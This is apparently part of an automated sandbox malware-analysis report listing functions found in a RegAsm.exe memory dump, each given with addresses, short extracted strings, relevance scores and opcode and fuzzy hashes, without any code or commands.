Instruction Fuzzy Hash: 5151CEB0700214ABDB20AF24DC86B7733B8EF8575AF448559F9858B390E37CDA01C76A

Function 004297D0 Relevance: 1.7, Strings: 1, Instructions: 475COMMON

Download Yara Rule

Strings

|1[3O=]?O9H;(EFG, xrefs: 004299A7

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: |1[3O=]?O9H;(EFG
API String ID: 0-2327365969
Opcode ID: 498f6e79ce40924af8d936b1f52076ceafa217d31f6103c9ab7f940ef28ac6df
Instruction ID: 2a0eead5d1c0089b4ab363994fe3972e8cdfd85871b92c54397a6d948d4edf12
Opcode Fuzzy Hash: 498f6e79ce40924af8d936b1f52076ceafa217d31f6103c9ab7f940ef28ac6df
Instruction Fuzzy Hash: E0E11275E002288BDB14CFA4E8917EEBBB1FF45304F15416DD946AB381EB789E06CB80

Function 00423850 Relevance: 1.7, Strings: 1, Instructions: 432COMMON

Download Yara Rule

Strings

lmno, xrefs: 00423A6C

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: lmno
API String ID: 0-919139636
Opcode ID: 50c40eb443a0e3030ea8cf5a1a4e0f710fbcfa788eae5434240e0c8aab7c8de9
Instruction ID: 1a3b389284ba562a87a77495ad854079d758d6bb5ca4be60c9ad11856d53808d
Opcode Fuzzy Hash: 50c40eb443a0e3030ea8cf5a1a4e0f710fbcfa788eae5434240e0c8aab7c8de9
Instruction Fuzzy Hash: 38B15976A042205BD7209F24D85263BB7F1EFD2324F59852EE4C597382E77CEA01879A

Function 0041EB80 Relevance: 1.6, Strings: 1, Instructions: 389COMMON

Download Yara Rule

Strings

dg, xrefs: 0041EE86

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: dg
API String ID: 0-2476624039
Opcode ID: 70ec5b397a7f9d3380583bba9cdb7db1c77063673f7266ca13b8b3f9d3bff3c1
Instruction ID: a777d1112300ed0328085d988200fc2b3161b415096455110393fd80377dd20e
Opcode Fuzzy Hash: 70ec5b397a7f9d3380583bba9cdb7db1c77063673f7266ca13b8b3f9d3bff3c1
Instruction Fuzzy Hash: A1B1DF79A183018BC724CF29C8513ABB7F1EF95314F48892DE8D99B390E738D945C79A

Function 00406180 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 004062B6

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 42698df11754288f7c7e22d86eca644924014b76b5d582c7a606c14b27339af4
Instruction ID: 154771c752a932779d5afa772b51c111bd756c018d561075520692a7b9a2d090
Opcode Fuzzy Hash: 42698df11754288f7c7e22d86eca644924014b76b5d582c7a606c14b27339af4
Instruction Fuzzy Hash: C8B149701083819FC321DF58C98061BFBE0AFA9704F444A6DE5DA97782D635E918CB6B

Function 0040B1D0 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

LJ, xrefs: 0040B533

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: LJ
API String ID: 0-1839849906
Opcode ID: 32e2b2a4043bf6c096733809b1c40c94b04732bdd8f6a7cc70eba95ff2f9126b
Instruction ID: 7d08a5681504b9b7e6a48ed61d136dcf9633ff4ddde9a0c90a6c0ffdbab556b4
Opcode Fuzzy Hash: 32e2b2a4043bf6c096733809b1c40c94b04732bdd8f6a7cc70eba95ff2f9126b
Instruction Fuzzy Hash: D5D1E9B4151B40DBE3748F26E984787BBF1BB42754F608E1CD1EA2BA85C778A005CF99

Function 0041C4BC Relevance: 1.5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

Strings

8-, xrefs: 0041C6F6

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 8-
API String ID: 0-3812798818
Opcode ID: 20fc81fce02fe6b391ff2be7b83f0511e06d7cf125620e5bac4aa39a2fb39c10
Instruction ID: a25670a122ddcdfd22edf8418b3041ba70b3d4310d6e9ffa78eb72c008a34486
Opcode Fuzzy Hash: 20fc81fce02fe6b391ff2be7b83f0511e06d7cf125620e5bac4aa39a2fb39c10
Instruction Fuzzy Hash: B06125729443218BC3259F24C8902ABB7F2FFE6750F1A965DE8D52B3A4E3358D41C785

Function 0042B580 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

", xrefs: 0042B7F7

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: d605f69cb6a61cba6e277e74b20d9a248e2b5eec550f027b6d34fa71407e500c
Instruction ID: a83cd635106bba80700be3c932c2028a4828255dda0c33b642da19134739f146
Opcode Fuzzy Hash: d605f69cb6a61cba6e277e74b20d9a248e2b5eec550f027b6d34fa71407e500c
Instruction Fuzzy Hash: 8871E9327047344BC7249D6DA88022B77D6EBC5730F99872AE8B88B3D5D7788C4587CA

Function 00441720 Relevance: 1.5, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

%*+(, xrefs: 004417F9

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: %*+(
API String ID: 2994545307-3233224373
Opcode ID: 7228b157b8eb77ce6c7dd744172b13d4fd0337b8f37e9e8f95ac9db7c94dd113
Instruction ID: e759ce7f0c2a445e802c7890bbd8bf261f8ae77e8e9d52c3cb1d641808a64f00
Opcode Fuzzy Hash: 7228b157b8eb77ce6c7dd744172b13d4fd0337b8f37e9e8f95ac9db7c94dd113
Instruction Fuzzy Hash: A181DF756042019FE718DF29C891A2BB7E2FFD9344F19852EE5848B361DB39EC41CB4A

Function 0041B1FA Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

K7, xrefs: 0041B250

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: K7
API String ID: 2994545307-4265185514
Opcode ID: 854bedc942d704704795661a3ad1bfdb0958c756f2dc05a7bcc0a66d4eefe7f2
Instruction ID: fe9f68dd6caef55a4fd82ba992068611efb3462d70c4cbc8eb857c667fd0fb75
Opcode Fuzzy Hash: 854bedc942d704704795661a3ad1bfdb0958c756f2dc05a7bcc0a66d4eefe7f2
Instruction Fuzzy Hash: 6E5105743053049FD7248F29C8917BFF7A2EB9A324F29D62DD4860B292C33958458BDE

Function 0041C225 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

8-, xrefs: 0041C456

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 8-
API String ID: 0-3812798818
Opcode ID: 0ca0e89c1ad262b6a6c440f5f203b2743f750613855566febdcb123336d30ef8
Instruction ID: e011ceead91074b7cc013e3f585e65df6e98f08ec6e89e21a7cc2fe669adb6fa
Opcode Fuzzy Hash: 0ca0e89c1ad262b6a6c440f5f203b2743f750613855566febdcb123336d30ef8
Instruction Fuzzy Hash: 3D6100715483218BC720DF28C8D06ABB7F2FF96750F19965DE8D15B368E7388841C786

Function 0041CDE0 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

_, xrefs: 0041CF18

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: ea82e861296f54f02b876c034cb7da8e08a6f47831a7466b4fdab98e1bae1d94
Instruction ID: 5e629cd5a4b8a39bce27e5c3485168bef556bfb607e8c52a14ceb3c4a70aec2a
Opcode Fuzzy Hash: ea82e861296f54f02b876c034cb7da8e08a6f47831a7466b4fdab98e1bae1d94
Instruction Fuzzy Hash: 7E71F71621564109D72CDF748893337BAD6DF84709F2891BFC956CFA9BE93CC2028B89

Function 0041A783 Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

gfff, xrefs: 0041A8C2

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: gfff
API String ID: 2994545307-1553575800
Opcode ID: d4706cb9d9b86324b9686a1075bb5e92e46f9864c8ac80011f8ec985681e92ed
Instruction ID: c7ac6c206ebcf67d1ef8b55e3b2ef8f9a91c8942a348e493453017bf745ecb34
Opcode Fuzzy Hash: d4706cb9d9b86324b9686a1075bb5e92e46f9864c8ac80011f8ec985681e92ed
Instruction Fuzzy Hash: 606147B56052504BD319CB28C8517BB77E2EBC5328F08863EE096CB3D5EB78C546878A

Function 0041FD50 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 0041FE22

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 0-442858466
Opcode ID: 06249b3145be53e11267c2cf2d9ea3bd6f0f09238b8304bbbbe1bbfad56d3055
Instruction ID: 1a389e364e849dd5f6a7dd31dd641fce1bd1149b36441138696bb40b5ef6ef00
Opcode Fuzzy Hash: 06249b3145be53e11267c2cf2d9ea3bd6f0f09238b8304bbbbe1bbfad56d3055
Instruction Fuzzy Hash: DE61F83764968187D7288E3C5C512EABA935FD3334B3D837BE4B1873E1C669894B4349

Function 0041AFC2 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

K7, xrefs: 0041B018

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: K7
API String ID: 2994545307-4265185514
Opcode ID: 867195d74dc1159dbf9a996b73e7eb7693fbb1a1e37db4605eb6ee8acb1458c8
Instruction ID: d32e7d3792677d9385e059763a7ef5fa823f6309972ca4856a10a181381cda46
Opcode Fuzzy Hash: 867195d74dc1159dbf9a996b73e7eb7693fbb1a1e37db4605eb6ee8acb1458c8
Instruction Fuzzy Hash: 8F513970305300AFD765CF29C8927ABB7A2EF95310F6DC52ED48607292C7395C46CB9A

Function 0042C81E Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

>2%8, xrefs: 0042C889

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: >2%8
API String ID: 0-3601729801
Opcode ID: 2ee780600435e65269fe4e80ce9b83c80dd633bf5fc20d5ece1fc62b2f340194
Instruction ID: 25f1567813761ad97d2965320a888a75774facb01b46e5cde3064720964745c5
Opcode Fuzzy Hash: 2ee780600435e65269fe4e80ce9b83c80dd633bf5fc20d5ece1fc62b2f340194
Instruction Fuzzy Hash: A54127E46047918AE3228B3994D07B3FFE0AF67305F58158EE1EB47353C37928498759

Function 004411E0 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

5|iL, xrefs: 00441310

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: f859b1e3a86568bcd84bd1bc52340373328660a03d92756c22bb718cb172e1e6
Instruction ID: be18f974b8193378ca69b65b54ee200706267250bbd1d07609027685d17a46dd
Opcode Fuzzy Hash: f859b1e3a86568bcd84bd1bc52340373328660a03d92756c22bb718cb172e1e6
Instruction Fuzzy Hash: 05412471315301ABF714DF29EC82B3AB7A6FB86344F18842DE580D72A0E678A850874D

Function 00424DA1 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

p8, xrefs: 00424DC9

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: p8
API String ID: 0-2130562967
Opcode ID: 1c13aef119dfada8b7544f08803ac15a44fcd6b6b6c54346d030ead43caf1b11
Instruction ID: 396cf621a9295f03ee0f8f194c331b0e18ebba4edf0cc430ad609cf39bee8afd
Opcode Fuzzy Hash: 1c13aef119dfada8b7544f08803ac15a44fcd6b6b6c54346d030ead43caf1b11
Instruction Fuzzy Hash: 8131BCB6E107288B8B18CFE9E8904AEBFB1FB15314F25522DD9617B394D7781900CF85

Function 004077D0 Relevance: .8, Instructions: 841COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce35907d57f9f54abcfd436ffff034d089d242f90efa385d37cc7449ac22ee44
Instruction ID: feefcd8f1536a5f1d2cc18da86cc08fb87ddb41a3bc1dae01e43e37ddbe70314
Opcode Fuzzy Hash: ce35907d57f9f54abcfd436ffff034d089d242f90efa385d37cc7449ac22ee44
Instruction Fuzzy Hash: 82529E31A087118BC725DF18D98067AB3E1FFC4304F25893ED9D6A7385D738A956CB8A

Function 00402A70 Relevance: .7, Instructions: 674COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08eae610eeda58969c5ed71f99fa41f332953503138e122d5d26e54d026c5d25
Instruction ID: 1efd3675d8875478b850b54804e16fef475d3d5ae18289fe68986804587af791
Opcode Fuzzy Hash: 08eae610eeda58969c5ed71f99fa41f332953503138e122d5d26e54d026c5d25
Instruction Fuzzy Hash: 7052E2315083458FCB15CF24C1906AABBE1FF89304F198A7EE8996B381D779E949CB85

Function 00406CC0 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0db90b9942ec8ecdca5fb553ea7776a758bf863260735089a4a8bb25b1e726cf
Instruction ID: 67d713257c309c85736cec1845cc1d9a4873a4ee673940014eb2de2a2a8491e0
Opcode Fuzzy Hash: 0db90b9942ec8ecdca5fb553ea7776a758bf863260735089a4a8bb25b1e726cf
Instruction Fuzzy Hash: F3528F70D08B849EEB35CB24C4847A7BBE1AB51314F14893EC5EB16BC2C27DB885C75A

Function 00403490 Relevance: .6, Instructions: 619COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14a546b8130f87ce6225e4779f8c82e36b45d4d1007f6213355f0bce4df59134
Instruction ID: 5ec806bfc4fdcaa9b19c04f0a6f3cac88961a43f3209f60bc56503115d8e12a2
Opcode Fuzzy Hash: 14a546b8130f87ce6225e4779f8c82e36b45d4d1007f6213355f0bce4df59134
Instruction Fuzzy Hash: 494254B0614B108FC338CF29C68052ABBF5BB45711B608A2ED69797F91D73AF945CB18

Function 004213AD Relevance: .5, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a57bc0d18e038412e411abbd3359c0c8b5e5da86444efddb2a407b477d55d57
Instruction ID: 734486481cff5e4e0e5087a3076c9d25f489d67d58a94ac154b3a431baae40d3
Opcode Fuzzy Hash: 2a57bc0d18e038412e411abbd3359c0c8b5e5da86444efddb2a407b477d55d57
Instruction Fuzzy Hash: A2328021508BC18ED3268A3C8845356BFD16B66328F1C879DD4E98F7D3C36AD14BC7A6

Function 00405CC0 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd375bf3516db857a5b8f4e9d18a7a4dde794f11d07c13cb422ee88cba72c16
Instruction ID: b783bebdde46e3b8b7be59880dd73a7ac46d541786670248ca7f8f7eedf55a95
Opcode Fuzzy Hash: 8fd375bf3516db857a5b8f4e9d18a7a4dde794f11d07c13cb422ee88cba72c16
Instruction Fuzzy Hash: EBE17D712087418FD720CF29C880A6BFBE1EF99304F44882DF4D697792E679E954CB96

Function 00418890 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aa9ee82479606d79c78ff6beaa22b27bc750450671219b2b8445c66eccead89
Instruction ID: 5ab32b3bfb9b1d3f5e842bd634ed02594806a4d9f59ef2a3d1d32b65e045bc5c
Opcode Fuzzy Hash: 1aa9ee82479606d79c78ff6beaa22b27bc750450671219b2b8445c66eccead89
Instruction Fuzzy Hash: 448123B5904211DBC7209F18DC826B773B0FF96358F08452EF9864B392FB38A950C79A

Function 0042C7C6 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61226a05d3d946f32a87627e2cbad7c3a2ce9d5b46345b89293357b1a80158a5
Instruction ID: dce13f4c60ded9296c87edc5b0b8b9a170e3a9eb240bcaa2e0a89ebf88acd714
Opcode Fuzzy Hash: 61226a05d3d946f32a87627e2cbad7c3a2ce9d5b46345b89293357b1a80158a5
Instruction Fuzzy Hash: BCB13A32B05B528BD728CA28D4E1277B7D2EFA5320769862FC4A70B7D1C738B801D759

Function 00406830 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21eef490a741124f975e333f9f41dbbf26a33a26c0eb5ce82e57c9491807e06d
Instruction ID: 17bfb6383042b0ad677a874368420975a50fd98476fa640b97db45d1772a28ea
Opcode Fuzzy Hash: 21eef490a741124f975e333f9f41dbbf26a33a26c0eb5ce82e57c9491807e06d
Instruction Fuzzy Hash: 08C15CB2A487418FC360CF28DC867ABB7E1FF85318F09492DD1DAD6242E778A155CB46

Function 00408670 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f95e4135a5855b4899df90ff2c4b2102b2866d8fdf2f026081c20a565ed87b
Instruction ID: c4dba0f52655684e45db77cbfbc82a2fd5864c62d6828ffe9689b2d09c5d986a
Opcode Fuzzy Hash: d4f95e4135a5855b4899df90ff2c4b2102b2866d8fdf2f026081c20a565ed87b
Instruction Fuzzy Hash: 9C916B72A0826547C7206D29CD801AB7793ABC1310F69CA3AD8E5BB3DDEF3CD90646C5

Function 004388B0 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90def7e7967b5ac5e8f1ce832c6c7e9234fa4de33fc9e0ca97dbf0b13ef28955
Instruction ID: ae5b627df059e6d32b5427388680294cef765974f1d1fef8568235bb8ce60915
Opcode Fuzzy Hash: 90def7e7967b5ac5e8f1ce832c6c7e9234fa4de33fc9e0ca97dbf0b13ef28955
Instruction Fuzzy Hash: C5B10F719087C18FCB12867CC8413ADFFB1AB5B314F1C829EE5A59B386C63E5806C766

Function 0040B769 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9eaa333ef3614d223f596bd0b06860529e28dad87bedf57836b6370be27ef0
Instruction ID: 700c4c60dce8ef70e102e0c470773ea2ad0dfaf4d7bf26b266cb7fbe973ff51a
Opcode Fuzzy Hash: 6f9eaa333ef3614d223f596bd0b06860529e28dad87bedf57836b6370be27ef0
Instruction Fuzzy Hash: 05A1CCBA600B01CFC7248F25DC95B67B7F6FF89301F15892DD4AA83AA0DB34E9058B44

Function 0043CB80 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b87b11583e0f5d28605c66e7a394b14b2a4f26a5d78a3762c92f41778c330a8
Instruction ID: 0ae4913aec9e295600022936d99bfbceb1447a60fd068f6f340e7002d317dfad
Opcode Fuzzy Hash: 5b87b11583e0f5d28605c66e7a394b14b2a4f26a5d78a3762c92f41778c330a8
Instruction Fuzzy Hash: 0091F27420C3818FC315CF29C48062EBBE2AFCA314F18D56EE5E597392D639D846CB56

Function 00430C61 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71f0d4da5a2352beb2b6c0ceaf9223eb13684035c4f0e4fb227e74c50769d2fa
Instruction ID: e2922715faf7c44a3e0b717e72aaf9a004125947f3780c4651a19aee2f074842
Opcode Fuzzy Hash: 71f0d4da5a2352beb2b6c0ceaf9223eb13684035c4f0e4fb227e74c50769d2fa
Instruction Fuzzy Hash: 0BB1E872A04B804FD3158A38C8D53ABBFD2ABD9318F1D8A7DC5DB87387D67994098706

Function 0041F3C0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50a94d6d73b6983b78caec3925a5b7c191eb7eaf31cd319ae59d333546bd7c28
Instruction ID: a10b34587ad77af6e4c1aeeca4f08b809cfbad60c63f1cc1086a8718c367298d
Opcode Fuzzy Hash: 50a94d6d73b6983b78caec3925a5b7c191eb7eaf31cd319ae59d333546bd7c28
Instruction Fuzzy Hash: 6C814C32A042615FC712CE28888079BBBD1AB95364F19C27ED8B98B3D2D675DC4BD3C1

Function 0042FAD8 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 927581d324afb18b2a02b58fefe90dce27eee103f4ab43400879cd86b6add9e2
Instruction ID: b53451a0af14f8966e8f2fee35abc999af8fdd0b5a00149c6331512bc9f799b9
Opcode Fuzzy Hash: 927581d324afb18b2a02b58fefe90dce27eee103f4ab43400879cd86b6add9e2
Instruction Fuzzy Hash: A6A14A72608B804FD3158B38D4953ABBFE1AF96308F98887DC9CB47346D579A449C716

Function 004335B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23980842b447fe10a91259d9c8b47e55dbd1e9b9be0b3422651121edf8911a80
Instruction ID: 6de7fb94a5ff35423c8dd22adfe711f85252a9e5728d6fed225c5747c12ab5de
Opcode Fuzzy Hash: 23980842b447fe10a91259d9c8b47e55dbd1e9b9be0b3422651121edf8911a80
Instruction Fuzzy Hash: 98612D26B4DA915BC32C5E3C4C223B97A834B9A335F2D936FE5F24B3E1C64D4A024359

Function 0040E911 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e0e7f29c9d4574c10ef8c86b6e3f345a40110ce0b8b630d1dd0d4f1f21e72020
Instruction ID: 88eb34010b5fa47e1c25940ef64784a295cf2587a9aa0a2bbbb0f70812c1c5cb
Opcode Fuzzy Hash: e0e7f29c9d4574c10ef8c86b6e3f345a40110ce0b8b630d1dd0d4f1f21e72020
Instruction Fuzzy Hash: 505105357093804BE395D71BD88136B7683ABD4310F2ECC3DD289A73A5DB7A4C12475A

Function 0040D392 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dad0c9aa33d29f89da7ddf1a103604b2576d04cc39ba91dbcb2c7ad8d737b53
